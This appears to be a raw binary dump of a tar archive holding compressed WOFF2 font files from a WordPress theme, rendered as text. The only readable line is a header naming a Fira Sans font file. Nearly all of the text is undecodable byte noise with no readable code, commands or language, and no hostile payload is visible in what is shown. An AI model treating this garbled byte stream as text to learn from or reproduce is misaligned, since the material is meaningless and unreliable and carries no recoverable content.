j"k4|\.yG]H!̟Μ讫dL\{J%$dn:Y`@ސz, f+$ij6AX|sY OMBv d};*!b#d\oW@ WC^;4#T@&=}"ªo)Y.&R+OM=5V4C @abR5. /ɧܮ\W(D't\<&tu|AzʳE6"* ԩ6ZaK |cN'7_s5 /̰rٻakP"ދus񙸭X ܄혈[kXۚO 4^-e'9YlGtzxBr@LBmBRJ~d_=M۲d+"Xш[1P752 솖Yepdi o\lvcם|[T c?/K(oj†?#<5AOVe[o!m_mwh7MqM27F yS=Oj)/yPdMRHJ^)g =S=e^S$zl&:AqηK=zPE?|EO hÍr^M-K%?riDF|?xI׫CDڏQk R=5.T3G::[HZr4p1#\Ypzaפ'm'{i y**~*zX#*xf:*M1 J`qс.}Jwi,|m+_Pa MWwUU#JeElBG)nx&֗1*l{=2̈{2Lrs}İՐ3;)sp2=r:BH!6c1_.PTq^|˟JY%9&RA'=0]̱ z[),]y?ޞ/y[2hz868h CHj̭dse=s&3= UD?*RSsY5>KNjX!1a)/HGݍ4+!y@bGҼdߨMas&bt;P ;u8Rl2p lz3ǎuc s]eхJ̡RgrR^k÷jJ$xs&Ǘr)P6\N%Qw:KREcMyh*[ ƆSM/G^|lQ33q|7\EǬqo&54_wW9n w~Z K'])>ᇫmĖ] Ng?z/O"0P95sdMu uДZ jdnzx[XƭH 0ӕ'[5KBªd<Wۍ#>c4#j/Zrq O/ۍΥ! 1wFL쳞]iޜWgNlzId,rv}UEY#AT vd(gm:;Mb 敜٦fCN0C8mZsH?1zͫzzA㫹v+o={ M M3{}5{s.l^@=e*K8!uW!crLD* c0~oIoMq75JЯ1*CBY.I.51 ',FdAC-P.;1"D#y5ݏ.m?[P 9S;(M.Eვe4rIlfH 5ﱻW#Zuv[v'-D7y ,Tejw ʾa`6!H \ 7FW"pw?X402GݔΊ)M.9$j:R4.6 |ӐqEʙ'BCjR 3 q`$T+c>GowL#uWjam}J'm:-D|=]bQz MV/;.W)҅^TZ_#=:)MᥒMPli n\t`{.aPфPe.V業nPou&D[p"t{*uUfvECX !<DpВ.#3L$sB&Z h!S; =:[Y)([,h N,:i99Pdê""-OS' :]M "N:- lZy?< QӈŹҫP1>GR~2N0Ax> &rJ1z-c꧛rK(gѿ#kXs1` =<% E 4;׺ѥтЀl|Ht&e[/ss `pȰ'J šI.F سLѬÇBi1$;XI,9s{2덇0)_F?b߸bA.HL>9p R5M]g7!J$ķԦD!~TsmnFiL5 ? t0{SPʡhQ/Osv%)Ih@r"Bm5aB m߈G4@hDFvm/:F5V")}Ϝ iTd2uNcz mG] -NVӋ;>~pM&R*pէQ'Uqgk's&Nu><-Gq`AmAMHz2v t%>C d?q?Dnx9|?Op69t1q([yVp1WY0&9bFZuT3뻔"Zu?:bB{WGnJ$NPVowŠ *#y{yaJY_P@C櫼CDKݧ+|'5BOpO>MQGLTZ,ELvKE`Z|Osi<` kx:L[JǑU|o//{rY ]_1N$4X+hs]{ʦeuPurHK(Ww5ɓQ̧Hr'M2YjL(d9&>1嚯q QH|$XG{c&]wzZ 2\t) ٽ[i%e[j Fk gCp]V t[3x<*l*iwC>Uѻ)т8%SPuݭR#Pc*(zAgn5$5W0 <&62mz >=ü$M*+d'#4c@-(Y^|rF9dQ_< +V|ڃ.;l^{Y @&#΅g|"w~pu2bK[FWeɩS$i)E{^mݛ]]'neU%'@զʳyuJ0 >ݚEA89M&WjF^|^%ˑ/J‰V1d3 smR9<GQeKQ0. ⳥HdZ#:!³<6\lw [7ԤaW5.aԻ4KFFkNunܒDw\s۟#Z@ ƖoMufU/mx.kfAR2+㇐ :1Ӗ+Xo:#' VΜ_%5.1eWHi! ӄ _}7rAV6N2M3D#=nQF] !ت[;uBLSFW Q9j_&H)C?*0W=ؘ)顬x"UNxrOY?9q:KQO?SצNZT,Ծj9_,:2jgmSJ8Sn@i{3FjP"?'^f[ M~mb=)iȧc(_YKo:Mw Q %DaDl<\ujz *O-Et}1⌁# ߜaEeviٜ-:`paY=7eO{,|pD ~tk&k*3Pɀvkf#7ؖr HOa_U$oF:SS3ؐTJkPJr y(#e,MDT#kNpd 5MH̫vVMpCBQ bAIUCVգLi٠$RyYɳ\'y~R?:4pNzBmXۄOQ5n@4|t]Z/.,*+Bx81Bu "bBEqbհ^oǖ}w}nڮ: 2il!KFVMBE-,Z7 c-V7VQ +/h[jUgF9_ubj!D\D_y@E솑%_aL`$ Yof9KCTRE[tѼ|G}}4b3$d;;b6ҶևiUyRD4MGL= ~3q?h(aJ{`jTi3k.Z^ٮ<%ƼH'7c3y\žu*yxbx.㋞̴<_! ʛ+;ㅒմKMʈ6>@.\|N0֙7rwJi/ю[1V%5XSzS~hS c}$6R@zW,B揯2i̯Gg6S0Wv [=6DN{d cㄼqci%؟ڒ~Ǒ̩_ 8'H +Dvo佐Bۼٗ0y+n=77S94C&K%*ܱc)(.}'Ս/˷ )de>pϴPN]I~?Ϡ* B3$ѡv{45 xaa;pҵ%?i|>;\Cu6 pE"9#7D*3gFίK "y]5fD}t1:J~Ǫs<ّV묤U0(}Z4u]]3cNh!kRs ]ݣ օ43 =~7M-l6 iJvًqmWŗ/j8՛oT/lD^U*U!TW6#&"BGY7/6n64(b^Ԡ ͷΖ<#61l4u-mv .~Gfk$= bY 1D?^ R_tX}erYŎdMyCo8Ɩ'9έQ`20\ CQ; tÐWfď8FXi9ߑ5/>>%$CXjN\[ ~ t3]W7>_ݴ1xS{kLc2_\֗>,s[?(-ݲZD3gO)ů"߇s\ĂOF g!>/dܷDPt!at*I>h6+!"vb/SXџk 5,v`jE1C 7 vu}$+Úיœ4R/ir7X(Frk(D/ؽ^M \ ho]!vyDkFrO- iIK4F\ARmݺfVY{Νg[*%$(I7e^{ x@ŠʉB#A{a.@'۽@|O{ lDd`(',@ $`Тv>{5%¶a8w߼jDG[q^ޭ^?ذzb/|M,ddJVd*7gz) M~ y"Uo=O^wM ʸM|G$/gtKt5":1ow#( MAڮ}~U9U%.K);OaAަ}SEi+>W$?!E*eR4K޾FnɤYկn]_Zq !ytd'}I&CCt<\2>1_I_x *eXnݻ#{G )q˝'!civD'|Q[P'3Mr IQVuw]:W:(E)lO0z -]wf +bf?3q?e h@8tBŤ*AXE.Yo451Qyg;Z'z+p.qUɕ%`L2ew/ h$tzö+x]CvK)}Ctǃ"L"W7b?Q 3dž{qŻ2] mμ6?.>_ n6#\ҿ Ԫg,>Z;\S//~W\ 1$~3:dkw'|M 纈s%z{ZtkDgCFGutv@M(\Y$D!&< Y1PՊc-//xqclsI- HK jG. ;`ۯE5~5m6)+ze {R)Z"zZH c wnHo=FЬLU!"*M9=v7,}Q*ݶJw νfB =.~rꗐ 1@Nծl(r&o&'I\pᎧ G?ƯA~c\3c|0ؚ[| d?U-Z5&Vĥ6 ﺦ:W\!u{Y &~C/v<Ͷ$"%]-)$9Ba$%l%;[6 ͉u${Ƞ=ْ}9euOC$C6ŰN(줯 ߌ%jwbL@hNQg"鰽!pEL.olb/l$k(nYe3P..e,}1dgC~:varZVgw֐I`{UFz;څOQk`X_rr1`?]S;~%~jSkgw[$A19z/E(GJtp3< pS׷QxU1޸vCԫuQ {m?hPݵF>V9ky86yW[UfÆx>%ryJ(4=jR_] 4t`7gݵv3~T>C{#س)dPooy&VK~fԿs\V^Orl߾ҺQ}|;⋷ݖn*- /;KUKć+R3@Ks3F-&϶9¹HgC 񁿧-1K@9$mrRZ$-82kJH R3[T|U$O77˫^N;L FIo7v#3>5#: LWG_kO'(d,v)޶ҦQ@F?O'(~]C!7_\^u"RRi{ǩC7ߧ//?Ha<Ӂ5I_)J']9#rklIw;d)u&[;O%X(AL2*V=Bl˰1'\JV5UY``_XFHIJ=$HhBDuɃv}%,CspJ: d^,q~I"{25.{rбB[be%QmyG_5KR 36q @RZb jJl{RS]!4EW)$Ѷ]Vy,R Oukke yѩ1fk\څrpG{/DX:ZJ(5۫LYeX0Szs딶{j#W΢8Fs(>:25q3-Ε~s?#)T-sQ?'JS"C>8eD, -( jw=&S[t5=.dAܨTq]dᏓsSsl')?ޝIb00TOAnHR"-št"nȓ/N6")JHnG$3uб5{aM9v";JfMO`k86{2$?vUg[9+^1,9l $T_Um@+9j7֒,3%\ԧx+Bc^ؓ͊(|[ag7V3:\ |Lߡ:IGq+IxU?]NR1rKu+gX2H,>G4BnЌqNhe}LV=Wدx&e7mcDIW[^m5k-@5c=j#̮QT Y͹Ul ~GMo+akRwȇ0o뢪ITAIYlߌk5#%,eR$? WXqY ~-ʡ;rŧRjQ6j[˷P}kJPP>K;-u&{LD /jll&gw@E4 JI4'C?rP lxbmIU6Cu6u~KSu[`#aE3EF6?4โnP=>jYIm .8EqHnȃL>4iL?|)Dwpw&-^ߡ=͠8`\H'bJ,* ӧě "zA<#^'6XC2+a*{LmZjz<Δ;gqvW'& S)XT$ag>Ml1`V~x։%y\_ 헜Ox%ܝ?8YD3[erI奿,Y)6CrifCR_ QN"ڒymBݢ#~SWyt *@:E\MzstP DF\.l Hݙ/-{L 7"DfjR_g2ta>A|z ݧU +Y7erZT@T)Hy1 ̣K!E;(8Ռ`uX'0^<\4t>7Bx>"Nw (MO&Gc!ù",d"M'^BG ImZnp#2MPl9r5VyB  A>(x_    6S c`baw% ܮ&O@HDLBJFNAYhZ3021{OV+;'7Ov-SEE7ޤnfB*jQz E֨IsQhզ]N]`fi)>Ã=v0 C eRZCѫ󾧀H_@A݃ "Tp"E#Vx ).Qd)RIOuʲR~˖W\TA.x2*TV H,ia\lqF/3;OpI[C1zw&^^]䭳>Oh K3֌M{/mQ8X(;R%-E'Lfh.39VG90E.nA hЗ`b.mL% )LC"w}Z8Ʉnx>k;<=OvMp裃mݙrͿ.ߚLI} !d&L1gVdÖ+qn\^ (L„)JKPzɹ|42dʒ݈y(TXReJVQ.\@-ZiQ/` (5 &͉yz5#%R\T5Z`4-Vt=K3nܺs'^>2tW:Oi`+(|u춣֐`I؊/d:/+3X%yͷ l\D-+%g`dbJl\<|BkVRj5j  ۿYVm l/0`@xoY#G3v 'M3g͞WT/Zd+VD"oظi۶عk8xW;F}etmsWsQuW<`!u'NΨTmdUݴ]?lX֛n80=?q41_,W@if}5l;>w00-e{}s> D2n[Tk=nMjz~ԮfyQVu=/WA0P 1Vr $+e;lzAI±qUݴ]?lX֛n8ǾA!aVh ;q=y!Ѯcg]ehe1lX֛X͔@hb , $+e;n.WY*:)մ m=X3W *TITо}l6465Q9Y]zMuɵ>Ȫ) (*#+aN,azBB"B]h%mjQ!_CFPcMSIY`u֊.{y 'hGIk{G͵l;ӥ9̜$.rRK'q)pپa[ظl:%k6lWnws@"6.V/Yʅeʖ+ $gǤd͂շ$*Tʻ@'BXcryE6L@A B"cBRk:S3s ,~c A0P(gLZ)Ll#M_7 Μx: eD1X@426153w8w^ &gDwg"3XlIND5?He{ dM$TF9>#,vt}P7}}K}EHXtR`D]?6'z$Her5oVΔ/ml!@:OUsaݟ0r+@Fχ*Q~fP9FXéǗ}Im Y#ήbI$R I3uھ:kAg< _bo&&+ 7̡a_Lr<T LO)lQDi2{|3%%ȄلBgeȒP2Fyɜ}wFp >u}Sl7Jmԉ@Y; -Rcz!u)(8 ZIRVtFmŦE!fW4|ln}ֺް,8fKm*5׼6Cq+.}ixiM r7s¶jswryr{pG~( DɆ'wdzrlrwSE$x.ߘuX8N[ÝFCS'2C8W>yR9):7rܞ~i l ͼzyx4??~tݔ$S[[J4*Z >q$E|  ,AаXqbÎH+ i+`H8<cdT$US,`MMT LͦK> ~SgNC՜_DΠN9aΤ,Ѽy3'$쐖ę3BHsT{&-F0A%aAаZ^ID5.RםGMDmKԦim!J%j ٣<-MTy|/륚kkAU7yV=2H-ԶșTzF"):X$'޷Zn I]\ƞ31b#YO_wbB|)F5W6O`Wh>Åx,p{岿rF @_x=Vhi:+c0늬%Dls)TCM9XZ-G&e<ߗoxwu}ޥD RڙF oqҽ 9㓝saxpNF6tw"(iTQqS gϖ˸U=>,`çbCiά+bړِ!9NPi$H6(J!Ҡ™]= m%/%'b.U fr&*OS)1-vwȻ44Rb\.HIk3) rxUIy,7j53'38"U! Ve\s!hW^ѐ5&b4;&%4J2ԙP%͘ Ϳ@G#]JD{;dn\4xTN=]K27PMX fU/S=lŮj5q'RIqfzD+=1 t7X a.,.r]*+sXHOM1? $JSEC2Rvh Ød؉V{›*uThH+O ce3uhԢK9#p[&а9D,4UDB[i+4H"K/`f~4t̮ x/'Q[dGm $~;h-D{,n,d~-BNjj.<;hQxy*Z"ђ/HKCIf9qO($:c W3IlSY$z"0 ^A)ɁQ#DϻQ -8{}AzΩ0e|zw՞'(;P>Bv]TIm-*ULӚQ-fl,.^&M"=&')JŴ6v\{r.ɊZ"z)#w:PZa8 D*`"l=9ڞJi;8Sm'jE3񨃊eNvG# ej!/BϠ~,a?#M;XTP\Fe zm¯FY#DW2/܁A?P|Ѥheh?#`wem[q C4ܭ7Js ,klG\ q+SF呪Gjl=A܄~X|;8blHQ !֫! cmZ=^Dnz+8q{Ty%!3tAO6 L.Ē1(ZkS\bgB?te3GF-N6%qt)5˨NvmË[{ta1lbtۖL-2ͬA Ovg_oK|^)_O0oJ 6]-i'ҼdSՋe5E y"qg1iZӄN BMcHMi1Q`?Fas,ƭvkbR6^ݔ=c'@q|<1/nKϋGtф82q%J[=gF+EqdO{N>ܦ=4oTymm|Sx_}Pp|]#<o}Fr~lr|̛GTc X0ƸMܴaq[}_iq!m5]9aq&]HB;EB0ZJk24b1eae"U.dخ6URvh]um)Ƹ]muV;3sɅWkAV7B> ٭`ÙS6}mSsI/9 LkW9Mݔdq<rB^e$:~ھPscN G`tmKp^V;^3cqkSn"LMN "`BYԵG$:l eAD5`eCv6L&0ر8( @eY9քi 0067ӹ֒jI O'PJ)c˲eMEmUhPk* כQs#,-WJtH1y g6}[?0:Oy.W^ܩ^jsS?rL3N,.E/|Q_MD(X;0ֲ cRf!RET6,\-!1א)upG4!)%58; "Wӿ0ڊ] xewFiR0X4(DÕby NPm鐬7B*vy^/J]OXξW5;rKwk^Ն[PSgk&+,bF !&F> z.[;^aQzJ5z tp~U˶a3kɷ=o ziZixcR$Ak| U0a5x]cg[BP MyHFnhOx47#z ^UdA4A 8 AoLh P- L7Z!ТQr~,Nkݻ%e[e:뙊Ԕ U3W+kD_W0^Iwݓ֎Wh gX I(rM9=⃰B7  J-{e#mШ0K@tXEkjO7\jn?ţ1Ei# UKՍAߣwhx#;Ҏf"Y\Ȱ]FYz)dRn`P{4.7G%řrEVC)HI#Y&R.XDJNDqx`k}&"Q&y3 ̗<U'fUNuKL{4<({rmp~kϱ?`h?E5Ԃ={N;N˺IE4?)"]~U܎ɛ߶8vH̅ biruz|{ a &#Lv>Yt]_|,K0k0lpTIpL9r|1-R_^9i9^LoJ~;i@+x䅏o.bEo.]~:ޔ]ջsؕ]"|\~Y AQ/b kcǧb3§themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2000064400000524270152335264760023352 0ustar00wOF2NMhl`*h  z6$   o[n׉pCͿwoHP:4p-L`sT-Yacl(NճcONH S`sf_]I 9)fUXpiIjsT#ׅ5ԜpV[3*;$++WVhOIuyVc:C^lAAH朢\*DU*9RRU&R9r̉< lG]T[^jPVHU60t*F륧@aB6<x*@6]n"x0B;n_C=W$j g?4DO>vf#έ U:F6>R# xrĥP<+8G =]=倓]8:$tP DY=?{:hntxƼKgm {Q{˰̟Ci 8Ç~ohhIjC׮SWXaܸ'd#UD{wF"C?8t'wwPa7G("P7oUBuGHX3(b}ktXfJj Ld# #xj*~O{"{>{;63(=\C8\[Lb58r%P~xE\OU^sZv^"PցM-%=kxj |lӱuuF͹=~]ЃE/H'D~8T?gxl(Hy2Bk_v\eχZ8|w_/joao> Շ{>gé$Ž>j̱a3'GmxMmgݑk9~t~`rc`ga|0˱1Ui:3܂j 4϶`}5pflavcQp kя_`L:G b2?fSU:j zFW\n'4NahfA=|~v|b/c?9c8P6}WǸa!B2VZL}C,9vA(;-Cz"9]k+=*sٷ{N@Q㪞Rz9<7^{ k}!C"P?Hڪ5i^Z˲i 5:k<қ7v%YpV (p}Tr q淚I@ )  XT =HeN\@t'P79/Oϟ}w$_a@.sRB:,b=-W&3$$| BP?X̃I 7#Ńʿo?ovՁ9Cݓ.1eeY8 epnꄀ Y%BK[t)R*!?iM6dipBw{лwf$X6,=kU% d@= <ԯ+怢"i6Pz|J8O':"e Nzs^Ρ3NMrW4IRBEO!KT eWM#HFkPHWӌxD8rpPB.*9$@uS}9ok.Md \ qH<@0l Qm z[c<|Z8J-q:Jc1K%PzFc:Qb!B18GCs1f5BabwODv4<qOܿ;xIiQ}&jU& bQ 317{>6Q~჏ 36ĥEhx߯ozj=WZ m䠋r)X>z߿U}^{e=`XHBO4m!`q(aT&W\m@JBJHD% R,,  ;P10sM撥Ϲ[G*-h_i-_UF[y]t.)@v5``QRcIuǘ럖qMh9Q8Mη#)\uOGQEQHǺsES4M73H00ءe skL 7Mi{A!!#=Y?c?{>ēZ(0c1VM~ EFHݹIQUUud,w2Dg!:=]0)$&":Nߧik^se`Qu#ڵAxf<Ӆ([:o~m92x|J,i9u׀Bj;1(@s{ݳJQ7Є kQH z%so7k+٢HIaS{ŦHLVQ%ɬB"E*e*VSǚ*JSE?7Dg[tT]+:dz^RQQQ%?e%k <#{_/A5uؚO^-H:ݳ?C\5@}ݗp`]EcT@*vo~8[Ml[*4.tFtNi!^ X FV}-$(CE HwGGEk [ym(= BP}Q(* ZBPQQQ(T_ /;E .P0~@V-_ ?9KL3xB,xvѢ+bɦkv#C*\1` cR:[s 7¶;*ɻ6uMKҧZҮƋMیR&lnrpA8sP?g?_HSL&c/$g~ݘiG}BVOt-et $MF3hl"fc uWp,jqDQf)R)d7ldv7S%~ȃ *7N"\{<"E ]ĦtvVim˧p"s{m?[a 2RDnjp("ʚl0#VkOl +tٸvtU(M4ӆQ5Xw5J\(i) 6D"jc 7{b75kqg6ݔS^HP|X|5lq3SS8ed`#FJ ^V4j̆3k0hXj~W}196sn4'ʼn~-Zf7rH- jcM BG{G.Z}վ!]`PI$8~Abu gp﹁/B/"M <4 J<.@mR%U/JR*$%Ys:i̎q= y֫^=5 oh>N}EStg6ɔV3ջIB='$G!DSM3eΤV“ F$\C/&9Vweo,v\YW*uqs/0(=08UՓ퓞 @SBʖInH_]оІBer E)WjG zwErR=?QO51A  !:rLNh9w)Ժ*Sipr6ng']Aw5h0ljtS? xKC lS D%/ds̴LARLy6$ʔ뛺z`ahn ox旙,W{$qWrƅ|)@•uA"[NQ?&]fnݾ4";E ӌ߄G@AqV( x4͜N["*R";\GY)[hW+=IgYH;7Mi]׭H/}Sg s0(pjbBe̹n2;;8 nv:KQa-A (: ٽ)PTxiJ%4J/Qrx:1@꿷*M_nnՎt6.K,fai{nwOpɡh rQP=]$\>@إ RT9$!tU]sg걩V} %J]YLĖPz(UJI?TpbǎҸ8=Nk;{ ڔbŰCDWKKlAga$; aC!8;-{OuN}Fl:)CA?)C.4ԋ~S'$N`%3{ce]S ˌL_c Iς<~)Զޥ9r8Ӆ">bi{>Upzy $"2{pfz¿м0v!C!>cL]~~':i )0wԈ=h;AP\^xug>MMy*X*Akw?? ̟Q q? ڻ$`[<$[j};{ߕ`54hb*3u&$G"*֊:Ƙۚ{al߃fIQ$f{B΍LцI.˄n!!SzɍDh+.%Xb/ ~/( 1W UsʈB뚈E!^h 'Uҁ saSD&AKfӤt)KʖVL.!CSY1t+n%JZ*jکNPL_m[[-V/DPD_wDi}6[%#ASv.Zs)]Vq/W g$^J|VǗgտ{ylFV0E}x7?BIp?+$JӔɾFr(o(O֢ 5J:RU'%OkcBU[YrEuLB̪uOB6Pp~UQԌΎ eW% `.py哵CU\qW.ӅF2F1g=w|!Ɵ}XEPZaLʿWCoȒg|RXmE<\̭܇ui-+$DX(w1/0 vUlSw)L=b2 /x#oygRprʂV-)5VJqT &rl{qux5! ^wGc%Dؼ@ؐH$$RRɂ4d#!O t BFHq[B|KHJI^+Kx?A&^<%X+$<*9GָRӰSa~Y_v:$ 2 !pҞup7^)gzY )iʵl1s topϫٮTʿ oՄ?3ug+ g)+FFƕn?*_37G(J".ڡ za1I`KXCY\oxևwHB$4&|s b.#I<%4hcȸYKٴOwOoPʼj5jIRPR[gdfe$:/DGTM|`4?W| hA5Es>8,L[]pR8U\a6 @:/I'_}rX;xh}1Yz72&^#9ui}9Q#BQ:)KwA bPV1Z 7u%f9mWkxEX-׼t'wi,c 80rWFQSDTv_1AR$E)AV!}*bA4f3*g\oF~Ik\{pHAW{ }apgp\7-{sJ&^'8Km>\@X</|_ DF AB$CjdDvEaD=UFC4CtBF1ia+BgdeSK[򿀈у9+ގJϷX.T?~@ƀSSFl'Ov!v ҅܅l)dys:ȱAC6IS֩Pc6O}HVv9/JD4.O,&$ U WN#mz,> ͢r  DBɴflRm[KJNZԦeb|%TZN[N`)Sr2|yЫπ$؋PoZ먋th9đg]a{ZQ;io$ě%rgUv煺4"UvVWJU) /CUz`[JB7ZB&AD<$E-}eWLv6$RA}+L-)j aW?5#cdK@UĻ"o덕 s:-Hue2VF?'= ڽ ׽&|Ǎgەt/ µh#yGn{şv~k &DRu7Zٖ_<.x0 `Wd.=uv)4/?S}HVX!bwr/4jhEe"6A@iy"/Dzʛѓ Gz# QaBxD'4; AcQoGgL㯌a1eU5u M#~Dλt7< DHFp<@}}B]›4<'f}:s\$r."GDq67uC|Nk*dry8l ֜qGuZ͜|R":Ǝ Kכy-7pY^L <3SQJS9J 7dכVj,?3vUM6O|DfDH+O# qv޾ܛ"gc@m2 c֥'r+2Q6(t7O$Oc^$H2T?S|-r*zx O2L\ֽ[øsxf[yHkX=e=*߶'#ـMO%?pɀu_2ܟUؕ q`sj~2d ٓ{B~wrxLĮr"x&H!}_'nYF@cCS1J`2 ف`')u+X^Ӧx:,<4[x0'Lm#nUฯex!WyQsT$ز,ڨg*n$'Qş- 2¨bUu8d6v/ #"w%;ThEU^14Ww^O0te,Ԯj2\X JR?^J{RBzW1DBV=PȆ5u/7.Ȣ#? 񱒎0oKZ͵ uAsxx7q^Atغ@GIOWWniq~5z3ˣ`R5g|M7jdJpIpp1>0j 4{2.Hv35۪!!ϴ#.ݘ>%$/OwDaQ5tJ 󫌧6|l6vuLj(OOO\):rU\{fSK;JmR)5A$t@ZK;{H] )O%b5;v)#)(e]G0r+*ecKIlzDp`B/;>'sEvuKMp.)3Ll XZZ) Հ 8qNSŌӴR&p4!R' "ֽ"AD(M#b H;1O&|-ʄA^qGO 3 j;a 1O"!ȁ00ta3 c~a”'9 4b%LJ=L˖VZEUUiҡQ3Z=V~ "o~{kO%X;Mo} @Ϡ!a1+C}7}:g̕3j`Ǭ2fmnQujհxjfW ԢKc=[wԏQ`Gٸu7*rKvguxPR?4f>>%V̨)\QP<\[| )rf\[KJUꃭHV%iE|ksԸ]|qGT"*,mY7_mC̆a#_zc=ٮ橯zTwF}k/PĮwdoMSQ0V_MY>h6ýǰ>l%bX^LlOqI*٥sakv>$y"T%ϡ|P:[6`O;,PmÊ/gkͥ6?.ʫͶU}x}ڦ;vҹ;_C3u!dh0ˢ5"G3BѬfGNޡwxQ/Z[V,BF*DHG)@Fw 8伔W@cB!~J(ShF3E("ʲjZ 6^XyVTJXfRvYD=Eiaf!R9/d}tf9e,9˲^ުwZrBc]r8y.╱F~|?u_1 ?C_c pb40BiIF2ʦr\)T /UUNUOTQR˺z^lP;Jx"Wusu_hAjX's7q)2)Ph>Eھ=O:3_%t:tgAtTl#qyBAͿχTAS{܃2Fh\r8}xjs=E8[D8[:OSsሚM.Ey{ogcLƄ-MSrs3{iylflOS=pk}:yL=vX8,u24sY{Ch8W3k,:@m:Yl7q@km-yWkĨ45%x߻GԭoQ!m6Zvab]Z$:Y=b+m%S{HoMof)w mOg&9 ݦwxwx6-vw~-'`CoGk v Hp5ӵj0UfslJJ$`#8MAm:awf$ = ||cYv.*y(S7ja*XmYp Ng}@t0 ;z:egS` fYl6Ƽ]&έ\[1Y+|6v=/P98Cl0XC]!_OMg=[.gɊAEYZg˵c8+~Z2'8wm<rq$>c`3knqhjX:G[ӪS&=6s񋿪#䚼O$?'Kb NIHlG M Ǽ ukQ[PI*wI64"Ged- $q1b8bMn{XՂ%5k&P@P0!A :J,F|T ^"jitWSCSq_>%@a2溗([#ޠSKx}*>ߚrGρ-H`a@cJ:W%-E'&:S&~[bb3 g-c\YcBKeP[O`Bb+n Cn/%0EpZ3yIn\<'#F@Я.FD_ YZA $ ںpH&0ΌJ%VarU4,4~ 7r 2t~|P S4M-R]kHJ %ZXq%H*ML 4e%6mۅ`ߗhSPRQ3021sprq  KHJI+ؚw76O|Aej!j5\: ɟ(\mrqIYs% Z1%\ . 0 }tFpoW'T숏ӄ24^|SSӔ~`L0]z7}լ֎}e͋ -Hc)39_! bckmb?thnek:m+Ky3(Nf30Bm#~U2ɒ<\#`ڰQ~O[v&mc|;c;SN>)tgpgO-twaF4HvdIZE%GEJPFMZݤE !$>Ͽnu>51K#6Wpef|f 2v6ŮY!aUCfM9%m ;O4@ӷC82}nɒfetU4IALxNmd]._Dm2wSIά5b^VDFa}nfė;Fd3i[֞H ?yǘaMiq鱙mz?/#i2lV8M&7UF=m?EbTm1 NQ2qj|!? R.-==M%9z -W N= :\N]@5APY0E d(FV1 yPfxd%WГ$N@c{|#ڦ>&Ɣ'dlXO52!b= }h8~2[9W c(ّa6l %B9Km K[AAepka6S#GK1]fx怋Xғ2XWI_KFXs7_u N"6q!ue/EZ/oHf HhPB@I74.7\|49'+J l|ie g"|TBH Rf!~x4v! $qyw'5Ϙ~&dr_ōn[/v (`"-P:mҹ*tk6/U)PK2ŒE_bRNmapذ}vۑ7F;6>΢"rmc8`w|ygu _G|ͥ&LaQz[Jj=j_w 6i T%X2F<^0&/d~ .%OUALj(!1-BZ(F`yyPk c5-1{Y^x=c[|Iös/]2roYPmVdd%/L&}xtW^U/ 4!^I6H.9VG"<]c5)WwAU~ʶ ͖N`{aٷʓSL').Ӽyτ/^]}Y-gL~UƂuan <,bIfH}Y-y, 0 6.=- o:ߨZ)Ag{:e\x$*.r}9W%dž|<} {aat1S~. jPRR{rzXݜ@ ,Z`-Kґ[tݨ ;0ɡ7c-*Pt.'iB7@Kz sQ.S%zz:3*ºsϦvȐKH)iדv̕Rg׉M '&Nbj*!jf,m|SH4zSKXx2 +8-g\9Fs\)pmxW&@Qm^bEԶٛ3:8T/K-_:R_)ҥKiOM+o8_ȳ`d|mاTZ2;M6zeϸ*o{t`O-\YjX%[ġMܑcTBpZO;>*KdxFg!"2Y "Khͩ)y~R/ C@[ G@;)]9{|N3Ű}IKfm`$6 5=rBZ,4eL`hd?PVs7x{d.{4RAs I֥>L*xt6Z?`Fl(L9 ap).34,ҕ]B"\gR ٳ}֩P֟l=4.{kO{K#^Fnr/IޅfF^77H6$ 0:qf,j% hLrǒ2??ҿ,Ve@ 30綇1 pi'5UyWʕURa}{B񢕓v;yOu{<%5v) }I s%j0'>@eS_ @-hWEJzB?NZmўFSjKҿ4qלk^ ᠪ+ PxaeMUUH`j ҭK@3(IB#Re`$S*WiW(|D.Le ɮfto7cݝOɮ$$ȡ94qto}~ڑ8̧,ki{PwTѲD p6E*} vv=110ȟI,٠b* sH,$J\B ])z*3аJ%NI^&EAsV@Y4iTXVvӾLࡌ:DIdW<GS0mbӉ%MQHo#W<+i+,,ŋ4-"J3y}n} wT]Xp=zşYY3 <ʰ{yBuB jLk愊<Kej6 ]ע?v| q} d]r%.0=SEΐj'b{tڧ0NFRӛN7IIPQt]5/WdR&5S0MpRB`ӽe}S&,Óaqm!a<  5i H!!E|\n0q*GR"EQV}.ٷU;}=3]K r_ ?jkҤ8T CH(Cr~ otRo[Ll`Z/~^Θ։BDkPXh\랱(KTC+ X$kYv=EPq6&킧DN2h4JMi!쬮4C)I/,:HAˤ\*p9K.T-Ee3d8FG{^hR<olsxxhI$ZOras  URQ%S5,w 0 W&py|P$Her J*jv~T! 1@tH7ބ ahC3 -YGA}Ħ"nZP/+85dj~e"VR!d8Z@Da k'y Jg!HOzo^?Q';ى^dXB}y"إ DW*G4ĕ(_$E+.mO6B! NA}eh.D I\Z?Q/d;RrGJE1EdND4p%AA1ȔƤ4^$bICf~ H|ԗHRnS/BR& 9jg"uK.|%ME41]Ru^J\0H p9r $,g5,cعKv{1a/ 셂!+///F++ļB+;vu# aluW: FPEѓH#;X+=*)RJA_%zڱXsf1c66y?`܇|2d˩u3gY-&bX=" > 2B)bIC4(A!BJ$BPYQKqfT0,肨 J("A49:J@k Z`ZTNHCBx UD@Di'_q| v wjM^itހޯ+D`_?$aQ:,ݢ Ѝ%*'ij^^¿UQtK#{Z&/O 9AD(%Id !5MgFE+K6]Fj0=3L*‡Vjy(}_1Iaz^ԹO3k$<8-:Y\u#&ϵ==m?r۸gf ~fErl`*km?OwI-]`rS7g48gU ):0Fu'u?4N)䧿-_% ,0*{2:Иz%5VAhR#h@ Y'4qM ï,=-z+T7#{=~??험vAM?LnŒ ݛ-o  JeF빤NlV$p*:O %Gp+%-+Q F`'蚹,.3#DhZ^LLDkwN+,LYPcjD-r.a}EA$-Q_J}#MF┷_`nz=N_ܒKxQպ-bs ]!T[^]yr38 yTFEM /W ]y= wv`n=0rJHm NO!`Q<8,Р`Cɷ'Gj[ gmdlK:a,CsF.3"pX3i.J )Mn̫Èxh-a^St8*:LAch.K ')ɲtN2a \U#!W~,~+=_BOe)VYey!LS)nQ?n M4_"^q[ L/n1k2X76cy-tamS ^^8I(kxWV8.՜cpsLUD!l/ 67j.8RIlul7{$}:͋/P@BGcMƲ~'lzD!%St ?6n9 42h4vg]!^pq0,^U<( b:[8G팶Ǻ׏~tH*JB$7dꢩ<{;{ =E 